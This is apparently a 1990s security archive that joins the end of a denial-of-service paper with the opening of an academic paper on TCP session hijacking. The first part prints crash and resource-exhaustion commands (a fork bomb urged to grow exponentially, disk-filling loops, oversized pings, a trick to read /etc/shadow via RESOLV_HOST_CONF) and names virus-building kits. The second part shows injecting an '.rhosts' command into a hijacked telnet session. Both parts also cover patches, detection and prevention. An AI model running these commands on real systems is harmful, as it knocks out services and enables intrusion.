If not the the source and target machine is closely aligned will the
ticket be rejected, that means that if not the protocol that set the
time is protected it will be possible to set a kerberos server of
function.

.C.17. THE DOT DOT BUG
----------------------

Windows NT file sharing system is vulnerable to the under Windows 95
famous dot dot bug (dot dot like ..). Meaning that anyone can crash
the system. If someone sends a "DIR ..\" to the workstation will a
STOP messages appear on the screen on the Windows NT computer. Note that
it applies to version 3.50 and 3.51 for both workstation and server
version.

The solution is to install the proper patch.

.C.18. SUNOS KERNEL PANIC
-------------------------

Some SunOS systems (running TIS?) will get a kernel panic if a
getsockopt() is done after that a connection has been reset.

The solution could be to install Sun patch 100804.

.C.19. HOSTILE APPLETS
----------------------

A hostile applet is any applet that attempts to use your system
in an inappropriate manner. The problems in the java language
could be sorted in two main groups:

1) Problems due to bugs.
2) Problems due to features in the language.

In group one we have for example the java bytecode verifier bug, which
makes is possible for an applet to execute any command that the user
can execute. Meaning that all the attack methods described in .D.X.
could be executed through an applet. The java bytecode verifier bug
was discovered in late March 1996 and no patch have yet been available
(correct me if I'am wrong!!!).

Note that two other bugs could be found in group one, but they
are both fixed in Netscape 2.01 and JDK 1.0.1.

Group two are more interesting and one large problem found is the
fact that java can connect to the ports. Meaning that all the methods
described in .C.X. can be performed by an applet. More information
and examples could be found at address:

http://www.math.gatech.edu/~mladue/HostileArticle.html

If you need a high level of security you should use some sort of
firewall for protection against java. As a user you could have
java disable.

.C.20. VIRUS
------------

Computer virus is written for the purpose of spreading and
destroying systems. Virus is still the most common and famous
denial of service attack method.

It is a misunderstanding that virus writing is hard. If you know
assembly language and have source code for a couple of virus it
is easy. Several automatic toolkits for virus construction could
also be found, for example:

* Genvir.
* VCS (Virus Construction Set).
* VCL (Virus Construction Laboratory).
* PS-MPC (Phalcon/Skism - Mass Produced Code Generator).
* IVP (Instant Virus Production Kit).
* G2 (G Squared).

PS-MPC and VCL is known to be the best and can help the novice programmer
to learn how to write virus.

An automatic tool called MtE could also be found. MtE will transform
virus to a polymorphic virus. The polymorphic engine of MtE is well
known and should easily be catch by any scanner.

.C.21. ANONYMOUS FTP ABUSE
--------------------------

If an anonymous FTP archive have a writable area it could be misused
for a denial of service attack similar with with .D.3. That is we can
fill up the hard disk.

Also can a host get temporarily unusable by massive numbers of
FTP requests.

For more information on how to protect an anonymous FTP site could
CERT:s "Anonymous FTP Abuses" be a good start.

.C.22. SYN FLOODING
-------------------

Both 2600 and Phrack have posted information about the syn flooding attack.
2600 have also posted exploit code for the attack.

As we know the syn packet is used in the 3-way handshake. The syn flooding
attack is based on an incomplete handshake. That is the attacker host
will send a flood of syn packet but will not respond with an ACK packet.
The TCP/IP stack will wait a certain amount of time before dropping
the connection, a syn flooding attack will therefore keep the syn_received
connection queue of the target machine filled.

The syn flooding attack is very hot and it is easy to find more information
about it, for example:

[.1.] http://www.eecs.nwu.edu/~jmyers/bugtraq/1354.html
Article by Christopher Klaus, including a "solution".

[.2.] http://jya.com/floodd.txt
2600, Summer, 1996, pp. 6-11. FLOOD WARNING by Jason Fairlane

[.3.] http://www.fc.net/phrack/files/p48/p48-14.html
IP-spoofing Demystified by daemon9 / route / infinity
for Phrack Magazine

.C.23. PING FLOODING
--------------------

I haven't tested how big the impact of a ping flooding attack is, but
it might be quite big.

Under Unix we could try something like: ping -s host
to send 64 bytes packets.

If you have Windows 95, click the start button, select RUN, then type
in: PING -T -L 256 xxx.xxx.xxx.xx. Start about 15 sessions.

.C.24. CRASHING SYSTEMS WITH PING FROM WINDOWS 95 MACHINES
----------------------------------------------------------

If someone can ping your machine from a Windows 95 machine he or she might
reboot or freeze your machine. The attacker simply writes:

ping -l 65510 address.to.the.machine

And the machine will freeze or reboot.

Works for kernel 2.0.7 up to version 2.0.20. and 2.1.1. for Linux (crash).
AIX4, OSF, HPUX 10.1, DUnix 4.0 (crash).
OSF/1, 3.2C, Solaris 2.4 x86 (reboot).

.C.25. MALICIOUS USE OF SUBNET MASK REPLY MESSAGE
--------------------------------------------------

The subnet mask reply message is used under the reboot, but some
hosts are known to accept the message any time without any check.
If so all communication to or from the host us turned off, it's dead.

The host should not accept the message any time but under the reboot.

.C.26. FLEXlm
-------------

Any host running FLEXlm can get the FLEXlm license manager daemon
on any network to shutdown using the FLEXlm lmdown command.

# lmdown -c /etc/licence.dat
lmdown - Copyright (C) 1989, 1991 Highland Software, Inc.

Shutting down FLEXlm on nodes: xxx
Are you sure? [y/n]: y
Shut down node xxx
#

.C.27. BOOTING WITH TRIVIAL FTP
-------------------------------

To boot diskless workstations one often use trivial ftp with rarp or
bootp. If not protected an attacker can use tftp to boot the host.


.D. ATTACKING FROM THE INSIDE
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

.D.1. KERNEL PANIC UNDER SOLARIS 2.3
------------------------------------

Solaris 2.3 will get a kernel panic if this
is executed:

EX:

$ndd /dev/udp udp_status

The solution is to install the proper patch.

.D.2. CRASHING THE X-SERVER
---------------------------

If stickybit is not set in /tmp then can the file /tmp/.x11-unix/x0
be removed and the x-server will crash.

Ex:

$ rm /tmp/.x11-unix/x0

.D.3. FILLING UP THE HARD DISK
-----------------------------

If your hard disk space is not limited by a quota or if you can use
/tmp then it`s possible for you to fill up the file system.

Ex:

while : ;
mkdir .xxx
cd .xxx
done

.D.4. MALICIOUS USE OF eval
---------------------------

Some older systems will crash if eval '\!\!' is executed in the
C-shell.

Ex:

% eval '\!\!'

.D.5. MALICIOUS USE OF fork()
-----------------------------

If someone executes this C++ program the result will result in a crash
on most systems.

Ex:

#include &lt;sys/types.h&gt;
#include &lt;unistd.h&gt;
#include &lt;iostream.h&gt;

main()
{
int x;
while(x=0;x&lt;1000000;x++)
{
system("uptime");
fork();
}
}

You can use any command you want, but uptime is nice
because it shows the workload.

To get a bigger and very ugly attack you should however replace uptime
(or fork them both) with sync. This is very bad.

If you are real mean you could also fork a child process for
every child process and we will get an exponential increase of
workload.

There is no good way to stop this attack and
similar attacks. A solution could be to place a limit
on time of execution and size of processes.

.D.6. CREATING FILES THAT IS HARD TO REMOVE
-------------------------------------------

Well all files can be removed, but here is some ideas:

Ex.I.

$ cat &gt; -xxx
^C
$ ls
-xxx
$ rm -xxx
rm: illegal option -- x
rm: illegal option -- x
rm: illegal option -- x
usage: rm [-fiRr] file ...
$

Ex.II.

$ touch xxx!
$ rm xxx!
rm: remove xxx! (yes/no)? y
$ touch xxxxxxxxx!
$ rm xxxxxxxxx!
bash: !": event not found
$

(You see the size do count!)

Other well know methods is files with odd characters or spaces
in the name.

These methods could be used in combination with ".D.3 FILLING UP THE
HARDDISK". If you do want to remove these files you must use some sort
of script or a graphical interface like OpenWindow:s File
Manager. You can also try to use: rm ./&lt;filename&gt;. It should work for
the first example if you have a shell.

.D.7. DIRECTORY NAME LOOKUPCACHE
--------------------------------

Directory name lookupcache (DNLC) is used whenever a file is opened.
DNLC associates the name of the file to a vnode. But DNLC can only
operate on files with names that has less than N characters (for SunOS 4.x
up to 14 character, for Solaris 2.x up 30 characters). This means
that it's dead easy to launch a pretty discreet denial of service attack.

Create lets say 20 directories (for a start) and put 10 empty files in
every directory. Let every name have over 30 characters and execute a
script that makes a lot of ls -al on the directories.

If the impact is not big enough you should create more files or launch
more processes.

.D.8. CSH ATTACK
----------------

Just start this under /bin/csh (after proper modification)
and the load level will get very high (that is 100% of the cpu time)
in a very short time.

Ex:

|I /bin/csh
nodename : **************b

.D.9. CREATING FILES IN /tmp
----------------------------

Many programs creates files in /tmp, but are unable to deal with the problem
if the file already exist. In some cases this could be used for a
denial of service attack.

.D.10. USING RESOLV_HOST_CONF
-----------------------------

Some systems have a little security hole in the way they use the
RESOLV_HOST_CONF variable. That is we can put things in it and
through ping access confidential data like /etc/shadow or
crash the system. Most systems will crash if /proc/kcore is
read in the variable and access through ping.

Ex:

$ export RESOLV_HOST_CONF="/proc/kcore" ; ping asdf

.D.11. SUN 4.X AND BACKGROUND JOBS
----------------------------------

Thanks to Mr David Honig &lt;honig@amada.net&gt; for the following:

" Put the string "a&" in a file called "a" and perform "chmod +x a".
Running "a" will quickly disable a Sun 4.x machine, even disallowing
(counter to specs) root login as the kernel process table fills."

" The cute thing is the size of the
script, and how few keystrokes it takes to bring down a Sun
as a regular user."

.D.12. CRASHING DG/UX WITH ULIMIT
---------------------------------

ulimit is used to set a limit on the system resources available to the
shell. If ulimit 0 is called before /etc/passwd, under DG/UX, will the
passwd file be set to zero.

.D.13. NETTUNE AND HP-UX
------------------------

/usr/contrib/bin/nettune is SETUID root on HP-UX meaning
that any user can reset all ICMP, IP and TCP kernel
parameters, for example the following parameters:

- arp_killcomplete
- arp_killincomplete
- arp_unicast
- arp_rebroadcast
- icmp_mask_agent
- ip_defaultttl
- ip_forwarding
- ip_intrqmax
- pmtu_defaulttime
- tcp_localsubnets
- tcp_receive
- tcp_send
- tcp_defaultttl
- tcp_keepstart
- tcp_keepfreq
- tcp_keepstop
- tcp_maxretrans
- tcp_urgent_data_ptr
- udp_cksum
- udp_defaultttl
- udp_newbcastenable
- udp_pmtu
- tcp_pmtu
- tcp_random_seq

The solution could be to set the proper permission on
/sbin/mount_union:

#chmod u-s /sbin/mount_union

.D.14. SOLARIS 2.X AND NFS
--------------------------

If a process is writing over NFS and the user goes over the disk
quota will the process go into an infinite loop.

.D.15. SYSTEM STABILITY COMPROMISE VIA MOUNT_UNION
--------------------------------------------------

By executing a sequence of mount_union commands any user
can cause a system reload on all FreeBSD version 2.X before
1996-05-18.

$ mkdir a
$ mkdir b
$ mount_union ~/a ~/b
$ mount_union -b ~/a ~/b

The solution could be to set the proper permission on
/sbin/mount_union:

#chmod u-s /sbin/mount_union

.D.16. trap_mon CAUSES KERNEL PANIC UNDER SUNOS 4.1.X
----------------------------------------------------

Executing the trap_mon instruction from user mode can cause
a kernel panic or a window underflow watchdog reset under
SunOS 4.1.x, sun4c architecture.


.E. DUMPING CORE
~~~~~~~~~~~~~~~~

.E.1. SHORT COMMENT
-------------------

The core dumps things don't really belongs in this paper but I have
put them here anyway.

.E.2. MALICIOUS USE OF NETSCAPE
-------------------------------

Under Netscape 1.1N this link will result in a segmentation fault and a
core dump.

Ex:

&lt;a name="http://xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.
xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxxxxx.xxx.xxx.
xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxxxxx.xxx.xxx.xxx.xxx.xxx.
xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxxxxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.
xxx.xxx.xxx.xxx.xxxxxx.xxx.xxx.xxx.xxx.xxx...&gt;

.E.3. CORE DUMPED UNDER WUFTPD
------------------------------

A core dumped could be created under wuftp with two different
methods:

(1) Then pasv is given (user not logged in (ftp -n)). Almost all
versions of BSD:s ftpd.
(2) More than 100 arguments is given with any executable
command. Presents in all versions of BSD:sd ftpd.

.E.4. ld UNDER SOLARIS/X86
--------------------------

Under Solaris 2.4/X86 ld dumps core if given with the -s option.


.F. HOW DO I PROTECT A SYSTEM AGAINST DENIAL OF SERVICE ATTACKS?
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

.F.1. BASIC SECURITY PROTECTION
-------------------------------

.F.1.1. INTRODUCTION
--------------------

You can not make your system totally secured against denial of service
attacks but for attacks from the outside you can do a lot. I put this
work list together and hope that it can be of some use.

.F.1.2. SECURITY PATCHES
------------------------

Always install the proper security patches. As for patch numbers
I don't want to put them out, but that doesn't matter because you
anyway want to check that you have all security patches installed,
so get a list and check! Also note that patches change over time and
that a solution suggested in security bulletins (i.e. CERT) often
is somewhat temporary.

.F.1.3. PORT SCANNING
---------------------

Check which services you have. Don't check with the manual
or some configuration file, instead scan the ports with sprobe
or some other port scanner. Actual you should do this regualy to see
that anyone don't have installed a service that you don't want on
the system (could for example be service used for a pirate site).

Disable every service that you don't need, could for example be rexd,
fingerd, systat, netstat, rusersd, sprayd, pop3, uucpd, echo, chargen,
tftp, exec, ufs, daytime, time... Any combination of echo, time, daytime
and chargen is possible to get to loop. There is however no need
to turn discard off. The discard service will just read a packet
and discard it, so if you turn off it you will get more sensitive to
denial of service and not the opposite.

Actual can services be found on many systems that can be used for
denial of service and brute force hacking without any logging. For
example Stock rexec never logs anything. Most popd:s also don't log
anything

.F.1.4. CHECK THE OUTSIDE ATTACKS DESCRIBED IN THIS PAPER
---------------------------------------------------------

Check that attacks described in this paper and look at the
solution. Some attacks you should perform yourself to see if they
apply to your system, for example:

- Freezing up X-Windows.
- Malicious use of telnet.
- How to disable services.
- SunOS kernel panic.
- Attacking with lynx clients.
- Crashing systems with ping from Windows 95 machines.

That is stress test your system with several services and look at
the effect.

Note that Solaris 2.4 and later have a limit on the number of ICMP
error messages (1 per 500 ms I think) that can cause problems then
you test your system for some of the holes described in this paper.
But you can easy solve this problem by executing this line:

$ /usr/sbin/ndd -set /dev/ip ip_icmp_err_interval 0

.F.1.5. CHECK THE INSIDE ATTACKS DESCRIBED IN THIS PAPER
--------------------------------------------------------

Check the inside attacks, although it is always possibly to crash
the system from the inside you don't want it to be to easy. Also
have several of the attacks applications besides denial of service,
for example:

- Crashing the X-Server: If stickybit is not set in /tmp
a number of attacks to gain
access can be performed.

- Using resolv_host_conf: Could be used to expose
confidential data like
/etc/shadow.

- Core dumped under wuftpd: Could be used to extract
password-strings.

If I don't have put out a solution I might have recommended son other paper.
If not I don't know of a paper with a solution I feel that I can recommend.
You should in these causes check with your company.

.F.1.6. EXTRA SECURITY SYSTEMS
------------------------------

Also think about if you should install some extra security systems.
The basic that you always should install is a logdaemon and a wrapper.
A firewall could also be very good, but expensive. Free tools that can
be found on the Internet is for example:

TYPE: NAME: URL:

LOGDAEMON NETLOG ftp://net.tamu.edu/pub/security/TAMU
WRAPPER TCP WRAPPERS ftp://cert.org/pub/tools/tcp_wrappers
FIREWALL TIS ftp://ftp.tis.com/pub/firewalls/toolkit

Note that you should be very careful if building your own firewall with
TIS or you might open up new and very bad security holes, but it is a very
good security packer if you have some basic knowledge.

It is also very good to replace services that you need, for example telnet,
rlogin, rsh or whatever, with a tool like ssh. Ssh is free and can be
found at URL:

ftp://ftp.cs.hut.fi/pub/ssh

The addresses I have put out are the central sites for distributing
and I don't think that you should use any other except for CERT.

For a long list on free general security tools I recommend:
"FAQ: Computer Security Frequently Asked Questions".

.F.1.7. MONITORING SECURITY
---------------------------

Also monitor security regular, for example through examining system log
files, history files... Even in a system without any extra security systems
could several tools be found for monitoring, for example:

- uptime
- showmount
- ps
- netstat
- finger

(see the man text for more information).

.F.1.8. KEEPING UP TO DATE
--------------------------

It is very important to keep up to date with security problems. Also
understand that then, for example CERT, warns for something it has often
been dark-side public for sometime, so don't wait. The following resources
that helps you keeping up to date can for example be found on the Internet:

- CERT mailing list. Send an e-mail to cert@cert.org to be placed
on the list.

- Bugtraq mailing list. Send an e-mail to bugtraq-request@fc.net.

- WWW-security mailing list. Send an e-mail to
www-security@ns2.rutgers.edu.

.F.1.9. READ SOMETHING BIGGER AND BETTER
----------------------------------------

Let's start with papers on the Internet. I am sorry to say that it is not
very many good free papers that can be found, but here is a small collection
and I am sorry if have have over looked a paper.

(1) The Rainbow books is a long series of free books on computer security.
US citizens can get the books from:

INFOSEC AWARENESS OFFICE
National Computer Security Center
9800 Savage Road
Fort George G. Meader, MD 20755-600

We other just have to read the papers on the World Wide Web. Every
paper can not however be found on the Internet.

(2) "Improving the security of your Unix system" by Curry is also very
nice if you need the very basic things. If you don't now anything about
computer security you can't find a better start.

(3) "The WWW security FAQ" by Stein is although it deal with W3-security
the very best better on the Internet about computer security.

(4) CERT have aklso published several good papers, for example:

- Anonymous FTP Abuses.
- Email Bombing and Spamming.
- Spoofed/Forged Email.
- Protecting yourself from password file attacks.

I think however that the last paper have overlooked several things.

(5) For a long list on papers I can recommend:
"FAQ: Computer Security Frequently Asked Questions".

(6) Also see section ".G. SUGGESTED READING"

You should also get some big good commercial book, but I don't want
to recommend any.

.F.2. MONITORING PERFORMANCE
----------------------------

.F.2.1. INTRODUCTION
--------------------

There is several commands and services that can be used for
monitoring performance. And at least two good free programs can
be found on Internet.

.F.2.2. COMMANDS AND SERVICES
-----------------------------

For more information read the man text.

netstat Show network status.
nfsstat Show NFS statistics.
sar System activity reporter.
vmstat Report virtual memory statistics.
timex Time a command, report process data and system
activity.
time Time a simple command.
truss Trace system calls and signals.
uptime Show how long the system has been up.

Note that if a public netstat server can be found you might be able
to use netstat from the outside. netstat can also give information
like tcp sequence numbers and much more.

.F.2.3. PROGRAMS
----------------

Proctool: Proctool is a freely available tool for Solaris that monitors
and controls processes.
ftp://opcom.sun.ca/pub/binaries/

Top: Top might be a more simple program than Proctool, but is
good enough.

.F.2.4. ACCOUNTING
------------------

To monitor performance you have to collect information over a long
period of time. All Unix systems have some sort of accounting logs
to identify how much CPU time, memory each program uses. You should
check your manual to see how to set this up.

You could also invent your own account system by using crontab and
a script with the commands you want to run. Let crontab run the script
every day and compare the information once a week. You could for
example let the script run the following commands:

- netstat
- iostat -D
- vmstat


.G. SUGGESTED READING
~~~~~~~~~~~~~~~~~~~~~

.F.1. INFORMATION FOR DEEPER KNOWLEDGE
-------------------------------------

(1) Hedrick, C. Routing Information Protocol. RFC 1058, 1988.
(2) Mills, D.L. Exterior Gateway Protocol Formal Specification. RFC 904, 1984.
(3) Postel, J. Internet Control Message Protocol. RFC 792, 1981.
(4) Harrenstien, K. NAME/FINGER Protocol, RFC 742, 1977.
(5) Sollins, K.R. The TFTP Protocol, RFC 783, 1981.
(6) Croft, W.J. Bootstrap Protocol, RFC 951, 1985.

Many of the papers in this category was RFC-papers. A RFC-paper
is a paper that describes a protocol. The letters RCS stands for
Request For Comment. Hosts on the Internet are expected to understand
at least the common ones. If you want to learn more about a protocol
it is always good to read the proper RFC. You can find a nice sRFC
index search form at URL:

http://pubweb.nexor.co.uk/public/rfc/index/rfc.html

.F.2. KEEPING UP TO DATE INFORMATION
------------------------------------

(1) CERT mailing list. Send an e-mail to cert@cert.org to be placed
on the list.
(2) Bugtraq mailinglist. Send an e-mail to bugtraq-request@fc.net.
(3) WWW-security mailinglist. Send an e-mail to www-security@ns2.rutgers.edu.
(4) Sun Microsystems Security Bulletins.
(5) Various articles from: - comp.security.announce
- comp.security.unix
- comp.security.firewalls
(6) Varius 40Hex Issues.

.F.3. BASIC INFORMATION
-----------------------

(1) Husman, H. INTRODUKTION TILL DATASÄKERHET UNDER X-WINDOWS, 1995.
(2) Husman, H. INTRODUKTION TILL IP-SPOOFING, 1995.
(3) The following rainbow books: - Teal Green Book (Glossary of
Computer Security Terms).
- Bright Orange Book( A Guide
to Understanding Security Testing
and Test Documentation in Trusted
Systems).
- C1 Technical Report-001
(Computer Viruses: Preventation,
Detection, and Treatment).
(4) Ranum, Marcus. Firewalls, 1993.
(5) Sun Microsystems, OpenWindows V3.0.1. User Commands, 1992.
(6) Husman, H. ATT SPÅRA ODOKUMENTERADE SÄKERHETSLUCKOR, 1996.
(7) Dark OverLord, Unix Cracking Tips, 1989.
(8) Shooting Shark, Unix Nasties, 1988.
(9) LaDue, Mark.D. Hostile Applets on the Horizone, 1996.
(10) Curry, D.A. Improving the security of your unix system, 1990.
(11) Stein, L.D. The World Wide Web security FAQ, 1995.
(12) Bellovin, S.M. Security Problems in the TCP/IP Protocol, 1989.

.H. COPYRIHT
------------

This paper is Copyright (c) 1996 by Hans Husman.

Permission is hereby granted to give away free copies electronically. You
may distribute, transfer, or spread this paper electronically. You may not
pretend that you wrote it. This copyright notice must be maintained in any
copy made. If you wish to reprint the whole or any part of this paper in any
other medium excluding electronic medium, please ask the author for
permission.

.I. DISCLAIMER
--------------

The information within this paper may change without notice. Use of this
information constitutes acceptance for use in an AS IS condition. There are
NO warranties with regard to this information. In no event shall the author
be liable for any damages whatsoever arising out of or in connection with
the use or spread of this information. Any use of this information is at the
user's own risk.
___________________________________________________________________________


___________________________________________________________________________

Attacking TCP Oldschool style:

Simple Active Attack Against TCP

Laurent Joncheray

Merit Network, Inc.
4251 Plymouth Road, Suite C
Ann Arbor, MI 48105, USA
Phone: +1 (313) 936 2065
Fax: +1 (313) 747 3185
E-mail: lpj@merit.edu

Abstract

This paper describes an active attack against the Transport
Control Protocol (TCP) which allows a cracker to redirect the TCP
stream through his machine thereby permitting him to bypass the protection
offered by such a system as a one-time password [skey] or
ticketing authentication [kerberos]. The TCP connection is
vulnerable to anyone with a TCP packet sniffer and generator located on
the path followed by the connection. Some schemes to detect this
attack are presented as well as some methods of prevention and some
interesting details of the TCP protocol behaviors.

1. Introduction

Passive attacks using sniffers are becoming more and more
frequent on the Internet. The attacker obtains a user id and password
that allows him to logon as that user. In order to prevent such attacks
people have been using identification schemes such as one-time password
[skey] or ticketing identification [kerberos]. Though
they prevent password sniffing on an unsecure network these methods
are still vulnerable to an active attack as long as they neither
encrypt nor sign the data stream. [Kerberos also provides an
encrypted TCP stream option.] Still many people are complacent believing
that active attacks are very difficult and hence a lesser risk.

The following paper describes an extremely simple active attack
which has been successfully used to break into Unix hosts and
which can be done with the same resources as for a passive sniffing
attack. [The attacks have been performed with a test software
and the users were aware of the attack. Although we do not have any
knowledge of such an attack being used on the Internet, it may
be possible.] Some uncommon behaviors of the TCP protocol are also
presented as well as some real examples and statistical studies of the
attack's impact on the network. Finally some detection and prevention
schemes are explained. In order to help any reader unfamiliar with the
subtleties of the TCP protocol the article starts with a short
description of TCP.

The reader can also refers to another attack by R. Morris
presented in [morris85]. Though the following attack is related
to Morris' one, it is more widely usable on any TCP connection.
In section 7 we present and compare this attack with
the present one.

The presentation of the attack will be divided into three parts:
the ``Established State'' which is the state where the session is open
and data is exchanged; the set up (or opening) of such a session; and
finally some real examples.

2. Established State

2.1 The TCP protocol

This section offers a short description of the TCP protocol.
For more details the reader can refer to [rfc793]. TCP provides a
full duplex reliable stream connection between two end points. A
connection is uniquely defined by the quadruple (IP address of sender,
TCP port number of the sender, IP address of the receiver, TCP port
number of the receiver). Every byte that is sent by a host is marked with a
sequence number (32 bits integer) and is acknowledged by the receiver
using this sequence number. The sequence number for the first byte sent
is computed during the connection opening. It changes for any new
connection based on rules designed to avoid reuse of the same sequence
number for two different sessions of a TCP connection.

We shall assume in this document that one point of the
connection acts as a server (for instance a telnet server) and the
other as the client. The following terms will be used:

SVR_SEQ: sequence number of the next byte to be sent
by the server;
SVR_ACK: next byte to be received by the server
(the sequence number of the last byte received plus one);
SVR_WIND: server's receive window;
CLT_SEQ: sequence number of the next byte to be sent by
the client;
CLT_ACK: next byte to be received by the client;
CLT_WIND: client's receive window;

At the beginning when no data has been exchanged we have
SVR_SEQ = CLT_ACK and CLT_SEQ = SVR_ACK. These equations
are also true when the connection is in a 'quiet' state (no data being
sent on each side). They are not true during transitory states when
data is sent. The more general equations are:

CLT_ACK &lt;= SVR_SEQ &lt;= CLT_ACK + CLT_WIND
SVR_ACK &lt;= CLT_SEQ &lt;= SVR_ACK + SVR_WIND

The TCP packet header fields are:

Source Port: The source port number;
Destination Port: The destination port number;
Sequence number: The sequence number of the first
byte in this packet;
Acknowledgment Number: The expected sequence number
of the next byte to be received;
Data Offset: Offset of the data in the packet;
Control Bits:

URG: Urgent Pointer;
ACK: Acknowledgment;
PSH: Push Function;
RST: Reset the connection;
SYN: Synchronize sequence numbers;
FIN: No more data from sender;

Window: Window size of the sender;
Checksum: TCP checksum of the header and data;
Urgent Pointer: TCP urgent pointer;
Options: TCP options;

- SEG_SEQ will refer to the packet sequence number (as
seen in the header).
- SEG_ACK will refer to the packet acknowledgment number.
- SEG_FLAG will refer to the control bits.

On a typical packet sent by the client (no retransmission) SEG_SEQ is set
to CLT_SEQ, SEG_ACK to CLT_ACK.

TCP uses a ``three-way handshake'' to establish a new
connection. If we suppose that the client initiates the connection to
the server and that no data is exchanged, the normal packet exchange
is (C.f. Figure 1):

- The connection on the client side is on the CLOSED state.
The one on the server side is on the LISTEN state.
- The client first sends its initial sequence number and sets the SYN bit:

SEG_SEQ = CLT_SEQ_0,
SEG_FLAG = SYN

Its state is now SYN-SENT
- On receipt of this packet the server acknowledges the client sequence
number, sends its own initial sequence number and sets the SYN bit:

SEG_SEQ = SVR_SEQ_0,
SEQ_ACK = CLT_SEQ_0+1,
SEG_FLAG = SYN

and set

SVR_ACK=CLT_SEQ_0+1

Its state is now SYN-RECEIVED
- On receipt of this packet the client acknowledges the server
sequence number:

SEG_SEQ = CLT_SEQ_0+1,
SEQ_ACK = SVR_SEQ_0+1

and sets CLT_ACK=SVR_SEQ_0+1
Its state is now ESTABLISHED
- On receipt of this packet the server enters the ESTABLISHED state. We now
have:

CLT_SEQ = CLT_SEQ_0+1
CLT_ACK = SVR_SEQ_0+1
SVR_SEQ = SVR_SEQ_0+1
SVR_ACK = CLT_SEQ_0+1

Server Client
LISTEN CLOSED

&lt;- SYN,
CLT_SEQ_0

LISTEN SYN-SENT

SYN, -&gt;
SVR_SEQ_0,
CLT_SEQ_0+1

SYN-RECEIVED ESTABLISHED

SVR_SEQ = CLT_SEQ_0 + 1
CLT_ACK = SVR_SEQ_0 + 1

&lt;- ACK,
CLT_SEQ_0 + 1
SVR_SEQ_0+1

ESTABLISHED

SVR_SEQ = SVR_SEQ_0 + 1
SVR_ACK = CLT_SEQ_0 + 1


figure 1: Example of a connection opening

Closing a connection can be done by using the FIN or the RST
flag. If the RST flag of a packet is set the receiving host enters the
CLOSED state and frees any resource associated with this instance of
the connection. The packet is not acknowledged. Any new incoming
packet for that connection will be dropped.

If the FIN flag of a packet is set the receiving host enters the
CLOSE-WAIT state and starts the process of gracefully closing the
connection. The detail of that procces is beyond the scope of this
document. The reader can refer to [rfc793] for further details.

In the preceding example we specifically avoided any unusual cases
such as out-of-band packets, retransmission, loss of packet, concurrent
opening, etc... These can be ignored in this simple study of the
attack.

When in ESTABLISHED state, a packet is acceptable if its
sequence number falls within the expected segment

[SVR_ACK, SVR_ACK + SVR_WIND]

(for the server) or

[CLT_ACK, CLT_ACK + CLT_WIND]

(for the client). If the sequence number is beyond those limits the
packet is dropped and a acknowledged packet will be sent using the
expected sequence number. For example if

SEG_SEQ = 200,
SVR_ACK = 100,
SVR_WIND = 50

Then SEG_SEQ &gt; SVR_ACK + SVR_WIND. The server
forms a ACK packet with

SEG_SEQ = SVR_SEQ
SEG_ACK = SVR_ACK

which is what the server expects to see in the packet.

2.2 A desynchronized state

The term ``desynchronized state'' will refer to the connection
when both sides are in the ESTABLISHED state, no data is being sent
(stable state), and

SVR_SEQ != CLT_ACK
CLT_SEQ != SVR_ACK


This state is stable as long as no data is sent. If some data
is sent two cases can occur:

- If CLT_SEQ &lt; SVR_ACK + SVR_WIND and
CLT_SEQ &gt; SVR_ACK the packet is acceptable, the data may be stored
for later use (depending on the implementation) but not sent to the
user since the beginning of the stream (sequence number SVR_ACK) is
missing.
- If CLT_SEQ &gt; SVR_ACK + SVR_WIND or CLT_SEQ &lt;
SVR_ACK the packet is not acceptable and will be dropped. The data is
lost.

In both case data exchange is not possible even if the state
exists.

2.3 The attack

The proposed attack consists of creating a desynchronized state
on both ends of the TCP connection so that the two points cannot exchange data
any longer. A third party host is then used to create acceptable packets
for both ends which mimics the real packets.

Assume that the TCP session is in a desynchronized state and that
the client sends a packet with

SEG_SEQ = CLT_SEQ
SEG_ACK = CLT_ACK

Since CLT_SEQ != SVR_ACK the data will not be accepted and the
packet is dropped. The third party then sends the same packet but
changes the SEG_SEQ and SEG_ACK (and the checksum) such that

SEG_SEQ = SVR_ACK,
SEG_ACK = SVR_SEQ

which is acceptable by the server. The data is processed by the server.

If CLT_TO_SVR_OFFSET refers to SVR_ACK - CLT_SEQ and
SVR_TO_CLT_OFFSET refers to CLT_ACK - SVR_SEQ then the first party
attacker has to rewrite the TCP packet from the client to the server as:

SEG_SEQ &lt;- SEG_SEQ + CLT_TO_SVR_OFFSET
SEG_ACK &lt;- SEG_ACK - SVR_TO_CLT_OFFSET

Considering that the attacker can listen to any packet exchanged between
the two points and can forge any kind of IP packet (therefore masquerading as
either the client or the server) then everything acts as if the connection
goes through the attacker machine. This one can add or remove any data to
the stream. For instance if the connection is a remote login using telnet
the attacker can include any command on behalf of the user
("echo merit.edu lpj &gt; ~/.rhosts" is an example of such a command)
and filter out any unwanted echo so that the user will not
be aware of the intruder.
Of course in this case CLT_TO_SVR_OFFSET and SVR_TO_CLT_OFFSET
have to change. The new values are let as an exercise for the
reader. [One can turn off
the echo in the telnet connection in order to avoid the burden of filtering
the output. The test we did showed up a bug in the current telnet
implementation (or maybe in the telnet protocol itself). If a TCP packet
contains both
IAC DONT ECHO and IAC DO ECHO the telnet processor will answer with
IAC WONT ECHO and IAC WILL ECHO. The other end point will acknowledge
IAC DONT ECHO and IAC DO ECHO etc... creating an endless loop.]

2.4 ``TCP Ack storm''

A flaw of the attack is the generation of a lot of TCP ACK
packets. When receiving an unacceptable packet the host acknowledges it
by sending the expected sequence number (As the Acknolegement number.
C.f. introduction about TCP)
and using its own sequence number. This packet is itself unacceptable and
will generate an acknowledgement packet which in turn will generate
an acknowledgement packet etc... creating a supposedly endless loop for
every data packet sent.

Since these packets do not carry data they are not retransmitted
if the packet is lost. This means that if one of the packets
in the loop is dropped then the loop ends. Fortunately (or
unfortunately?) TCP uses IP on an unreliable network layer with a non
null packet loss rate, making an end to the loops. Moreover the more
packets the network drops, the shorter is the Ack storm (the loop). We
also notice that these loops are self regulating: the more loops we
create the more traffic we get, the more congestion and packet drops we
experience and the more loops are killed.

The loop is created each time the client or the server sends data.
